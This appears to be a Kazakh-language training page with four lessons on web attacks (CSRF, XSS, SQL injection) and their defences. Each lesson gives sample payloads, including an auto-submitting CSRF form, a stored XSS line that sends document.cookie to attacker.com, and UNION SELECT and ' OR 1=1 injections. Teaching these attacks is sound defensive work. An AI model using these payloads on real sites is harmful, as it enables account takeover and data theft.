Атақтарды алдын алу бойынша оқыту

Интерактивті сабақтар арқылы веб-қосымшаларды кибершабуылдардан қалай қорғауды үйреніңіз.

CSRF (Cross-Site Request Forgery): Шабуыл логикасы және қорғану жолдары

Бұл сабақта CSRF шабуылының қалай жұмыс істейтіні, оның қауіптілігі және одан қорғану әдістері қарастырылады. Оқушы нақты мысалдар арқылы CSRF шабуылдарын түсініп, оған қарсы шешімдермен танысады.

1. CSRF деген не? CSRF (Cross-Site Request Forgery) – пайдаланушы өз еркінсіз әрекет жасап қойғандай көрінетін шабуыл түрі. Бұл шабуыл қолданушы жүйеге логин арқылы кіріп тұрған кезде орындалады. Шабуылдаушы браузер арқылы пайдаланушы атынан рұқсат етілген сұраныс жасайды. 2. CSRF шабуылы қалай жұмыс істейді? Пайдаланушы сайтқа кіріп логин жасайды (мысалы, банк). Браузерде сессия cookie сақталады. Содан кейін шабуылдаушы сайттағы зиянды код төмендегідей сұраныс жібереді: html Копировать Редактировать <img src="https://bank.kz/transfer?to=attacker&amount=10000"> Бұл сұраныс автоматты түрде пайдаланушының сессиясымен жіберіледі. 3. Нақты мысал: html Копировать Редактировать <form action="https://example.com/change-email" method="POST"> <input type="hidden" name="email" value="attacker@mail.com"> <input type="submit" value="Send"> </form> <script> document.forms[0].submit(); </script> Қолданушы бұл HTML парақты ашқанда, зиянды әрекет өздігінен орындалады. 4. CSRF белгілері мен әсері: Жаңа email немесе пароль орнату Ақша аудару Аккаунт жою немесе өзгерту Басқа да рұқсатсыз әрекеттер 5. Қорғану әдістері: ✅ CSRF Token қолдану: Әр формамен бірге сервер генерирлейтін бірегей токен: html Копировать Редактировать <input type="hidden" name="csrf_token" value="9a8d7g1h6"> Сервер токенді тексереді. Егер сәйкес болмаса — сұраныс қабылданбайды. ✅ SameSite cookie саясаты: SameSite=Lax немесе SameSite=Strict атрибуты бар cookie қолдану — бөтен сайттардан автоматты сұраныстар жіберуге тыйым салады. ✅ Реферер және Origin тексеру: Сервер сұраныстың келген орнын тексеріп, бөгде сайттардан келгенін анықтай алады. ✅ Аутентификацияны қайта сұрау: Маңызды әрекеттер кезінде парольді қайта сұрату. ✅ HTTP әдістерін шектеу: GET тек деректер сұрауға арналған, ал күйді өзгертетін операциялар тек POST, PUT арқылы жасалуы керек. 6. Фреймворк мысалдары (қорғаныс): Django: {% csrf_token %} Laravel: @csrf Express (Node.js): csurf middleware арқылы қорғау Spring Security: CSRF токен автоматты түрде қосылады 7. Практикалық тапсырма: Жалған форма арқылы CSRF шабуылын модельдеу Содан кейін оған қарсы CSRF токен орнату арқылы шешім жасап көру

Автор: Admin | Санаты: CSRF | Құрылған: 16.06.2025

XSS (Cross-Site Scripting) шабуылы: негіздері және мысалдары

Бұл сабақта XSS шабуылының мәні, оның түрлері және веб-сайттарға келтіретін зияны түсіндіріледі. Оқушы XSS шабуылы қалай орындалады және одан қалай қорғануға болатынын үйренеді.

1. XSS деген не? XSS (Cross-Site Scripting) – шабуыл түрі, шабуылдаушы сайтқа зиянды JavaScript кодын ендіріп, пайдаланушының браузері арқылы орындайды. Шабуыл браузер деңгейінде орындалады, сондықтан қауіптілігі жоғары. 2. XSS шабуылының мақсаты: Пайдаланушы cookies, session, token деректерін ұрлау Қолданушы интерфейсін өзгерту Фишинг беттер енгізу Қашықтан код орындату (кей жағдайда) 3. XSS түрлері: Түрі Сипаттамасы Stored XSS Вредонос код дерекқорда сақталады (мысалы, пікір қалдыру бөлігінде) Reflected XSS Код URL арқылы серверге өтеді және бетте бірден көрінеді DOM-based XSS JavaScript арқылы DOM құрылымы арқылы орындалады, серверге өтпейді 4. Қарапайым мысал (Reflected XSS): URL: php-template Копировать Редактировать https://example.com/search?q=<script>alert('XSS')</script> Код бетте тікелей көрсетілсе: html Копировать Редактировать Результат поиска: <b> <script>alert('XSS')</script> </b> Бұл кезде қолданушының браузерінде alert() жұмыс істейді. 5. Stored XSS мысалы: Қолданушы форумда пікір қалдырады: php-template Копировать Редактировать <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> Бұл код басқа қолданушы парақты ашқанда орындалады. 6. DOM-based XSS мысалы: js Копировать Редактировать let name = location.hash.substring(1); document.getElementById('output').innerHTML = "Hello " + name; URL: php-template Копировать Редактировать https://example.com/#<script>alert('XSS')</script> 7. XSS-ке қарсы қорғану әдістері: Output Encoding: HTML, JS, URL шығуын кодтау (мысалы, &lt;, &gt;, т.б.) Input Validation: Пайдаланушы деректерін шектеу (жол ұзындығы, типі, символдары) Content Security Policy (CSP): Сыртқы скрипттерді шектеу HTTPOnly cookie: JavaScript арқылы cookie-ді оқуға тыйым салу Web фреймворктердің қорғау механизмдері: React, Angular – автоматты түрде қауіпсіз етеді 8. Тәжірибе (практика): XSS шабуылы орындалатын беттен қате кодты тауып, оны textContent немесе innerText арқылы ауыстырыңыз. XSS Labs немесе XSS Game секілді платформаларда сынау ұсынылады.

Автор: Admin | Санаты: XSS | Құрылған: 16.06.2025

SQL-инъекция түрлері және мысалдар

Бұл сабақта SQL-инъекцияның негізгі түрлері қарастырылады: классикалық, соқыр (blind), қателіктік және онымен күрес әдістері.

SQL-инъекция түрлері: Классикалық (Classic SQLi): жауап ретінде нақты деректер қайтарылады. Blind SQLi: нәтиже көрінбейді, бірақ логикалық тесттер арқылы мәлімет алынады. Error-based: қате хабарламалар арқылы деректер шығады. Union-based: UNION SELECT арқылы басқа кестелерден ақпарат алу. Мысал: URL: bash Копировать Редактировать https://site.com/products.php?id=5 Инъекция: pgsql Копировать Редактировать https://site.com/products.php?id=5 UNION SELECT username, password FROM users Blind SQLi мысалы (TRUE/FALSE): sql Копировать Редактировать ' OR 1=1-- ' AND 1=2-- Кесте құрылымын анықтау әдістері: information_schema.tables information_schema.columns

Автор: Admin | Санаты: SQL-инъекциялар | Құрылған: 16.06.2025

SQL-инъекция деген не?

Бұл сабақта SQL-инъекцияның анықтамасы, жұмыс істеу принципі және веб-қосымшалардағы қауіптілігі қарастырылады.

SQL-инъекция (SQLi) – бұл шабуыл түрі, онда шабуылдаушы SQL сұрауларына өз кодын енгізіп, дерекқорды басқаруға тырысады. SQL тілінің негіздері (SELECT, INSERT, UPDATE, DELETE). SQL-инъекция қайда пайда болады? (login формалары, іздеу жолақтары, URL параметрлері). Қарапайым мысал: pgsql Копировать Редактировать SELECT * FROM users WHERE username = '$username' AND password = '$password'; Егер шабуылдаушы username орнына ' OR '1'='1 енгізсе — сұрау жалған логинмен де сәтті орындалады. Шабуылдың нәтижелері: деректердің ұрлануы дерекқордың бұзылуы әкімшілік панельге қол жеткізу OWASP тізіміндегі SQLi орны.

Автор: Admin | Санаты: SQL-инъекциялар | Құрылған: 16.06.2025